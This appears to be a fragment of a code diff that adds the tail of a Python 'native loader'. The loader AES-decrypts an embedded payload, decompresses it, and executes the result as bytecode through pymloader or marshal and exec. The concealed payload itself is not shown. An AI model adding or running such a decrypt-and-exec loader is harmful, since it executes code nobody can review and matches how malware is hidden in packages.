10
|
+
return data[:-data[-1]]
|
|
11
|
+
cipher = AES.new(key, AES.MODE_CBC, iv)
|
|
12
|
+
decrypted = unpad(cipher.decrypt(payload))
|
|
13
|
+
bytecode = zlib.decompress(decrypted)
|
|
14
|
+
pymloader.exec_bytecode(bytecode)
|
|
15
|
+
except ImportError:
|
|
16
|
+
bytecode = zlib.decompress(decrypted)
|
|
17
|
+
code = marshal.loads(bytecode)
|
|
18
|
+
exec(code)
|
|
19
|
+
# --- Fin du loader natif ---
|